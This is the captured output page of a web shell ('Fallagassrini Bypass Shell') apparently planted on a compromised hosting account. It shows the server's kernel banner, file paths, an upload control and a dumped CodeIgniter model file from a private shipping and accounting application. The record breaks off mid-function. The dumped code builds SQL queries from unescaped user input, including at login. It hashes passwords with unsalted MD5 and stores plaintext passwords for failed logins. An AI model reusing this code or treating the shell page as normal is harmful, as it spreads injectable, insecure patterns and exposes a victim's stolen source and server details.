? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/gea/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/gea/application/models/mastermodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Mastermodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }


    /*Common function starts here*/
    function authenticate($username,$password)
    {
        $ip=$this->input->post('ip');
        
        $uid= $this->get_single_field_value('user','user_id','username',$username);
        if($uid=="")
        {
            $uid='NULL';
        }
        $logintime=$today = date("Y-m-d H:i:s");
        $password1=md5($password);
        $query= $this->db->query("select * from user where username='$username' and password='$password1'");
        $data['numrows']=$query->num_rows();
        if($query->num_rows()>0)
        {
            $lastid= $this->get_single_value('login_details','id','username',$username);
            $clogintime= $this->get_single_value('login_details','login_time','username',$username);
            $result= $query->row();
            $data['user_id']= $result->user_id;
            $data['employee_id']= $result->employee_id;
            $data['user_type']= $result->user_type;
            $data['username']=$username;
            $data['clogintime']=$logintime;
            $data['lastid']=$lastid;
            $query1= $this->db->query("select * from login_details where username='$username' and id>='$lastid'");
            $data['attempt']=($query1->num_rows())-1;
            $tblValues=array('username'=>$username,'password'=>$password1,'login_time '=>$logintime,'user_id '=>$uid,'ip_address '=>$ip,'status '=>'Success');
            $datas=$this->db->insert('login_details', $tblValues);
            return $data;
        }
        else
        {
            $tblValues=array('username'=>$username,'password'=>$password,'login_time '=>$logintime,'user_id '=>$uid,'failing_time '=>$logintime,'ip_address '=>$ip,'status '=>'failed');
            $datas=$this->db->insert('login_details', $tblValues);
        }
    }
    
    function getenumvalues($table, $column)
    {
        $sql = "SHOW COLUMNS FROM $table LIKE '$column'";
        $result = mysql_query($sql);
            if ($result) { // If the query's successful

                    $enum = mysql_fetch_object($result);
                    preg_match_all("/'([\w ]*)'/", $enum->Type, $values);
                    $data['val'] = $values[1];
                    return $data;

            } else {

                    die("Unable to fetch enum values: ".mysql_error());

            }
    }
    function get_num_rows($table,$field='',$id='')
    {
        if($field!='')
        $this->db->where($field,$id);
        $Q=$this->db->get($table);
        return $Q->num_rows();
    }
    function traceemployee($employee_id,$staff_list)
    {
        $employee_list=$this->mastermodel->get_data('employee',$employee_id,'employee_reporting_to');
        foreach($employee_list as $list)
        {
            if($list['employee_id'] != $employee_id)
            {
                $staff_list .= $list['employee_id'].',';
                $this->traceemployee($list['employee_id'], $staff_list);
            }
        }
        
        $return_list = substr($staff_list, 0,-1);
        return implode(',',array_unique(explode(',', $return_list)));
    }
    function convdatformat($xdate)
    {
        $mydate = explode('-',$xdate);
        if(sizeof($mydate)>2)
            return $mydate[2]."-".$mydate[1]."-".$mydate[0];
        else if(sizeof($mydate)>1)
            return $mydate[1]."-".$mydate[0];
        else
            return $mydate[0];

    }
    function number_rows($tabname,$field1='',$value1='',$field2='',$value2='',$field3='',$value3='')
    {
        $data = array();
        $this->db->from($tabname);
        if($field1 !='')
        $this->db->where($field1,$value1);
        if($field2 !='')
            $this->db->where($field2,$value2);
        if($field3 !='')
            $this->db->where($field3,$value3);
        $num = $this->db->count_all_results();
        //echo $this->db->last_query();
        return $num;
        
    }
    function get_single_value($table,$field,$condition,$value)
    {
        $data=$this->db->query("select max(". $field. ") as ".$field." from ". $table . " where ". $condition . "='". $value ."' and status='Success'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }


    function get_single_field_value($table,$field,$condition,$value)
    {
        
        $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

//    function get_single_field_value_two($table,$field,$condition,$value,$condition1,$value1)
//    {
//        $sql ="select ". $field. " from ". $table . " where ". $condition . "='". $value ."' and ". $condition1 . "='". $value1 ."'";
//        $data=$this->db->query($sql);
//        $result= $data->row();
//        if($result)
//        {
//            return $result->$field;
//        }
//        else
//        {
//            return "";
//        }
//    }

    function get_single_joined_value($field,$table1,$table2,$field1,$field2,$condition,$value)
    {
         $data=$this->db->query("select  $table1.$field from ". $table1 . "
            inner join ". $table2 ." on $table1.$field1=$table2.$field2
            where ". $condition . "='". $value ."'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function build_menu($moduleid)
    {

        $user_id=$_SESSION['user_id'];
        $data = array();
        $Q= $this->db->query("select * from menu where module_id='" . $moduleid ."' and active=1 order by sort");
        $P=$this->db->query("select user_modules,modules_permission from user where user_id='" . $_SESSION['user_id'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->user_modules);
        $edit_del_permission=explode(',',$result->modules_permission);
        
        if ($Q->num_rows() > 0)
        {
             foreach ($Q->result_array() as $row)
             {
                 $check=$this->mastermodel->check_user_permission($row['menu_id'],$_SESSION['user_id'],'0');
                 if($check)
                 {
                    $data[]=$row;
                 }
             }
        }
        $Q->free_result();
        return $data;
    }


    function build_module()
    {
        $flag=0;
        $homemodel=0;
        $data = array();
        $P=$this->db->query("select user_modules from user where user_id='" . $_SESSION['user_id'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->user_modules);
        $Q= $this->db->query("select * from module where active =  '1' and (status = '" . $_SESSION['login_type'] ."' || status = '2')  order by sort");
        if ($Q->num_rows() > 0)
        {
            foreach($Q->result_array() as $row)
            {
                $R= $this->db->query("select * from menu where module_id='" . $row['module_id'] ."' and active = 1");
                foreach($R->result_array() as $menu)
                {
                    $check=$this->mastermodel->check_user_permission($menu['menu_id'],$_SESSION['user_id'],'0');
                    if($check)
                    {
                        $flag=1;
                    }
                }
                if($homemodel==0)
                {
                    $data[]=$row;
                    $homemodel=1;
                }
                if($flag==1)
                {
                    $data[]=$row;
                    $flag=0;
                }
                else
                {
                    $flag=0;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    
    function chk_url_permission($menuid)
    {
        if(!isset($_SESSION['user_id']))
            die();
        $uid=$_SESSION['user_id'];
        $permission= $this->get_single_field_value('user','user_modules','user_id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return true;
        }
        else
        {
            return false;

        }
    }

    

    function getdatas($table,$sortfield="")
    {
        $data = array();
        if(!empty ($sortfield))
        {
            $this->db->order_by($sortfield, "asc");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    


    function get_data($table,$id,$field,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_data_joined($table1,$table2,$field1,$field2,$id='',$field='',$sortfield="")
    {
        $data = array();
        if($id!='')
            $this->db->where($field,$id);
        $this->db->join($table2,"$table2.$field2=$table1.$field1");
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'desc');
        }
        $Q= $this->db->get($table1);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_data_srow($table,$id,$field,$isarray=FALSE)
    {
        $data = array();
        $this->db->where($field,$id);
        $Q= $this->db->get($table);
        if($isarray)
            $row=$Q->row_array(); 
        else
            $row=$Q->row();
        return $row;
    }

    function get_data_srow_joined($table1,$table2,$field1,$field2,$id,$field)
    {
        $this->db->join($table2,"$table2.$field2=$table1.$field1");
        $this->db->where($field,$id);
        $Q= $this->db->get($table1);
        $row=$Q->row();
        return $row;
    }

  
    function get_data_scoloumn($table,$id,$field,$coloumn,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $this->db->select($coloumn);
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function getmoduledatamaster()
    {
        $data=array();
        $res=$this->db->query("select module.module_name,module.module_title,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.image_path from module join menu on module.module_id=menu.module_id
             where module.active = '1' and menu.active='1' and (status = '" . $_SESSION['login_type'] ."' || status = '2')
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }


    function getmoduledata()
    {
        $data=array();
        $res=$this->db->query("select module.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.image_path from module join menu on module.module_id=menu.module_id where menu.active=1
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    

    function replacemenu($menuid)
    {
        $uid=$_SESSION['user_id'];
        $permission= $this->get_single_field_value('user','user_modules','user_id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return $menuid;
        }
        else
        {
            return false;
        }
    }


    function permissionList()
    {
        $permission=array();
        $user_id=$_SESSION['user_id'];
        $P=$this->db->query("select user_modules from user where user_id='" . $user_id ."'");
        $result= $P->row();
        $permission=explode(',',$result->user_modules);
        return $permission;
    }

        
    function checkexistencearray($table,$field,$value)
    {
        $tbarr=explode('~',$table);
        $fdarr=explode('~',$field);
        for($i=0;$i<sizeof($tbarr);$i++)
        {
            $this->db->from($tbarr[$i]);
            $this->db->where($fdarr[$i], $value);
            $count= $this->db->count_all_results();
            if($count>0)
            {
                return $count;
                break;
            }
            else
            {
                continue;
            }
        }
    }

    function checkexistence($table,$field,$value)
    {
         $this->db->from($table);
         $this->db->where($field, $value);
         $count= $this->db->count_all_results();
         return $count;
    }

    
    function check_user_permission($menuid,$user_id,$check)
    {
        $this->db->select('user_modules,modules_permission');
        $this->db->from('user');
        $this->db->where('user_id', $user_id);
        $data=$this->db->get();
        $result= $data->row();
        $array_perm=explode(',',$result->modules_permission);
        $array_mod=explode(',',$result->user_modules);
        $found=array_search($menuid,$array_mod);
        $val=$array_perm[$found];
        $a=decbin($val);
        $d=sprintf('%03u',$a);
        $ar = str_split($d);
     
        if($ar[$check]==1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    function check_home_page($menuid,$user_id,$check)
    {
        $this->db->select('*');
        $this->db->from('user');
        $this->db->where('user_id', $user_id);
        $data=$this->db->get();
        $result= $data->row();
        $array_perm=explode(',',$result->modules_permission);
        $array_mod=explode(',',$result->user_modules);
        $array_home_page=explode(',',$result->home_page);
        $found=array_search($menuid,$array_mod);
        $val=$array_perm[$found];
        $a=decbin($val);
        $d=sprintf('%03u',$a);
        $ar = str_split($d);
        if($ar[$check]==1 && $array_home_page[$found]==1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }
    
    function getreminder()
    {
        $data=array();
        $tdate=date('Y-m-d');
        $data=$this->db->query("select * from reminder join master on master_id=reminder_id where creator_id=".$_SESSION['user_id']." and remind_before >= datediff(reminder_date,now()) and datediff(reminder_date,now())>=0");
        return $data;
    }
    
    function add($postdata)
    {
        
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset ($postdata['tab_name']);
        unset ($postdata['resfunction']);
        $res=$this->db->insert($table,$postdata);
        $cnt=$this->db->insert_id();
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Added Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Error On Adding Record';
        }
        return $data;
    }

    function update($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id= $postdata['tab_id'];
        unset ($postdata['resfunction']);
        unset ($postdata['tab_name']);
        unset ($postdata['tab_field']);
        unset ($postdata['tab_id']);
        $this->db->where($field, $id);
        $res=$this->db->update($table,$postdata);
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Error On updating Record';
        }
        return $data;
    }
    
    function deletedata($table,$id,$field)
    {
        $data=array();
        $this->db->trans_begin();
        $this->db->delete($table,array($field=> $id));
        $this->db->trans_status();
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Unable to delete record because of associated data';
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Data Deleted Successfully';
        }
        return $data;
    }


    function norecords($tabname)
    {
        $data = array();
        $sql = "select MAX(id) as maxid from $tabname";
        $res = mysql_query($sql);
        $row = mysql_fetch_array($res);
        $numcode =  $row['maxid'];
        if ($numcode != '')
        {
            return $numcode;
        }
        else
        {
            return 0;
        }
    }



    function convertdateformat($date)
    {
        if($date == "" || $date == "00-00-0000")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'Y-m-d', $time );
        }
    }

    function convertdatenormalformat($date)
    {
        if($date == "" || $date == "0000-00-00")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'd-m-Y', $time );
        }
    }

   
    function insertmasterdata($branch_id='')
    {
        $time= date("Y-m-d H:i:s");
        if($branch_id=='')
            $branch_id=$_SESSION['employee_branch_id'];
        $tblValues=array('menu_id'=>$_SESSION['current_mode'],
                        'creator_id'=> $_SESSION['employee_id'],
                        'owner_id'=> $_SESSION['employee_id'],
                        'branch_id'=>  $branch_id,
                        'created_time'=> $time,
                        'ip_address'=> $_SERVER['REMOTE_ADDR']);
        $this->db->insert('master', $tblValues);
        return mysql_insert_id();
     }

     function updatemasterdata($id,$branch_id='')
     {
            $time= date("Y-m-d H:i:s");
            
            $tblValues=array('modifier_id'=> $_SESSION['employee_id'],
                            'modified_time'=>$time,
                            'ip_address'=> $_SERVER['REMOTE_ADDR']);
            $this->db->where('master_id',$id);
            $this->db->update('master', $tblValues);
            if($branch_id!='')
            {
                $tblValues=array('branch_id'=> $branch_id);
                $this->db->where('master_id',$id);
                $this->db->update('master', $tblValues);
            }
     }

   
        /*Common function ends here*/


    /*Search function starts here*/
     function search_customer($pagenum)
    {
        
        $data=array();
        $this->db->from('customer');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('customer');
        $this->db->limit($perpage, $start);
        $this->db->order_by('customer_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function search_agent($pagenum)
    {
        
        $data=array();
        $this->db->from('agent');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('agent');
        $this->db->limit($perpage, $start);
        $this->db->order_by('agent_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function search_carrier($pagenum)
    {
        
        $data=array();
        $this->db->from('carrier');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('carrier');
        $this->db->limit($perpage, $start);
        $this->db->order_by('carrier_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function search_document_master($pagenum)
    {
        
        $data=array();
        $this->db->from('document_master');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('document_master');
        $this->db->limit($perpage, $start);
        $this->db->order_by('document_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function search_shipment_term($pagenum)
    {
        
        $data=array();
        $this->db->from('shipment_term');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('shipment_term');
        $this->db->limit($perpage, $start);
        $this->db->order_by('shipment_term_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function search_port($pagenum)
    {
        
        $data=array();
        $this->db->from('port');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('port');
        $this->db->limit($perpage, $start);
        $this->db->order_by('port_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function search_company($pagenum)
    {
        
        $data=array();
        $this->db->from('company');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('company');
        $this->db->limit($perpage, $start);
        $this->db->order_by('company_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function search_branch($pagenum)
    {        
        $data=array();
        $this->db->from('branch');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('branch');
        $this->db->limit($perpage, $start);
        $this->db->order_by('branch_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function search_warehouse($pagenum)
    {
        $data=array();
        $this->db->from('warehouse');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('warehouse');
        $this->db->limit($perpage, $start);
        $this->db->order_by('warehouse_id','asc');
        $data['results']=$this->db->get();
        return $data;
    }
    function search_terms($pagenum)
    {        
        $data=array();
        $this->db->from('terms_conditions');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('terms_conditions');
        $this->db->limit($perpage, $start);
        $this->db->order_by('terms_conditions_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function search_activity_category($pagenum)
    {
        $data=array();
        $this->db->from('activity_category');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('activity_category');
        $this->db->limit($perpage, $start);
        $this->db->order_by('activity_category_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    function search_equipment_type($pagenum)
    {
        $data=array();
        $this->db->from('equipment_type');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('equipment_type');
        $this->db->limit($perpage, $start);
        $this->db->order_by('equipment_type_id','asc');
        $data['results']=$this->db->get();
        return $data;
    }
    function search_shipper($pagenum)
    {
        $data=array();
        $this->db->from('shipper');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('shipper');
        $this->db->limit($perpage, $start);
        $this->db->order_by('shipper_id','asc');
        $data['results']=$this->db->get();
        return $data;

    }
    function search_description($pagenum)
    {
       $data=array();
        $this->db->from('description');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('description');
        $this->db->limit($perpage, $start);
        $this->db->order_by('description_id','asc');
        $data['results']=$this->db->get();
        return $data; 
    }
    /*Insert function starts here*/
    
    function insert_customer($postdata)
    {
        $data=array();
        $this->db->trans_begin();    
        $establish=$this->mastermodel->convertdateformat($postdata['customer_since']);
        $tblValues=array('customer_name'=> $postdata['customer_name'],
                        'customer_code'=> $postdata['customer_code'], 
                        'customer_address'=> $postdata['customer_address'],
                        'customer_pobox'=> $postdata['customer_pobox'],
                        'customer_city'=> $postdata['customer_city'],
                        'customer_country'=> $postdata['customer_country'],
                        'customer_contact_no'=> $postdata['customer_contact_no'],
                        'customer_mobile_no'=> $postdata['customer_mobile_no'],
                        'customer_fax'=> $postdata['customer_fax'],
                        'customer_email'=> $postdata['customer_email'],
                        'customer_since'=> $establish,
                        'customer_member_of'=> $postdata['customer_member_of_id'],
                        'comments'=> $postdata['comments'],
                        );
        $this->db->insert('customer', $tblValues);
        $customer_id=mysql_insert_id();
        
        $tblValues=array('customer_id'=>$customer_id,
                        'customer_login_name'=> $postdata['customer_login_name'], 
                        'customer_login_password'=> $postdata['customer_login_password']);
        $this->db->insert('customer_login', $tblValues);
        
        $parent= $this->accountingmodel->get_account_settings('customer','sub_account_settings');

        if($this->mastermodel->get_num_rows('chart_master','chart_account_code',$postdata['customer_code'])==0)
        {
            $tblValues=array('chart_account_code'=>$postdata['customer_code'],
                            'chart_account_name'=>$postdata['customer_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->insert('chart_master', $tblValues);
        }
        else
        {
            $tblValues=array('chart_account_name'=>$postdata['customer_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->where('chart_account_code', $postdata['customer_code']);
            $this->db->update('chart_master', $tblValues);
        }
        
        
        
        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('customer_id'=>$customer_id,
                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('customer_contact', $tblValues);

            }
            $i++;
        }        
        $data['resfunction']='search_customer';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function insert_agent($postdata)
    {        
        $data=array();
        $this->db->trans_begin();    
        $establish=$this->mastermodel->convertdateformat($postdata['agent_since']);
        $tblValues=array('agent_name'=> $postdata['agent_name'],
                        'agent_code'=> $postdata['agent_code'], 
                        'agent_address'=> $postdata['agent_address'],
                        'agent_pobox'=> $postdata['agent_pobox'],
                        'agent_city'=> $postdata['agent_city'],
                        'agent_country'=> $postdata['agent_country'],
                        'agent_contact_no'=> $postdata['agent_contact_no'],
                        'agent_mobile_no'=> $postdata['agent_mobile_no'],
                        'agent_fax'=> $postdata['agent_fax'],
                        'agent_email'=> $postdata['agent_email'],
                        'agent_since'=> $establish,
                        'comments'=> $postdata['comments'],
                        );
        $this->db->insert('agent', $tblValues);
        $agent_id=mysql_insert_id();
        
        $parent= $this->accountingmodel->get_account_settings('agent','sub_account_settings');

        if($this->mastermodel->get_num_rows('chart_master','chart_account_code',$postdata['agent_code'])==0)
        {
            $tblValues=array('chart_account_code'=>$postdata['agent_code'],
                            'chart_account_name'=>$postdata['agent_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->insert('chart_master', $tblValues);
        }
        else
        {
            $tblValues=array('chart_account_name'=>$postdata['agent_name'],
                            'chart_account_type'=>4,
                            'parent'=>$parent,
                            'inactive'=>0);
            $this->db->where('chart_account_code', $postdata['agent_code']);
            $this->db->update('chart_master', $tblValues);
        }
        
        
        
        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('agent_id'=>$agent_id,
